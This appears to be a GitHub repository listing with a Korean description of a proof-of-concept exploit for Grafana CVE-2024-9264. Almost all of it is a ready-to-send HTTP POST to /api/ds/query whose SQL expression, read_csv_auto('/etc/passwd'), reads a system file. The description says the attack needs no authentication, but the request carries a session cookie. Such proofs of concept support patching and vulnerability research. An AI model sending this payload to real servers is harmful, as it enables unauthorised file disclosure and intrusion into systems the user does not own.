punitdarji/grafana-cve-2024-9264Grafana CVE-2024-9264 SQL 인젝션 취약점에 대한 개념 증명 익스플로잇으로, /api/ds/query 엔드포인트를 통해 인증 없이 파일 읽기를 가능하게 합니다.
POST /api/ds/query?ds_type=__expr__&expression=true&requestId=Q100 HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
Cookie: grafana_session=a739fa9aeb235f2790f17de00fefe528
Content-Length: 368
{
"from": "1696154400000",
"to": "1696345200000",
"queries": [
{
"datasource": {
"name": "Expression",
"type": "__expr__",
"uid": "__expr__"
},
"expression": "SELECT * FROM read_csv_auto('/etc/passwd');",
"hide": false,
"refId": "B",
"type": "sql",
"window": ""
}
]
}